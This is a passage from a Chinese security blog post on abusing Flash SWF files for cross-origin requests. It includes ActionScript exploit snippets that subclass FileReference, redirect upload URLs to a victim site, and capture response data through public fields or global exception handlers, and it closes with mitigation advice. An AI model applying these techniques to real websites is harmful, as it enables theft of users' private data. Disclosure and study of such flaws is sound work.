原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我们成功模拟了文件选择的整个流程。

接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

  • swf url query(例如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

当然,我们目的并不是为了结果,而是其中分析的乐趣:)


进阶 No.3 —— 捕获返回数据

当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,将数据存放到了某个元素里,用于显示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

就以 JSON 解码为例,我们写个 Demo 验证一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

补救

如果从代码层面来修补,短时间内也难以完成。

大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

总结

最后总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只要这几点都满足,就很有可能被用于跨源的请求。

也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

隐私泄露杀手锏 —— Flash 权限反射,首发于博客 – 伯乐在线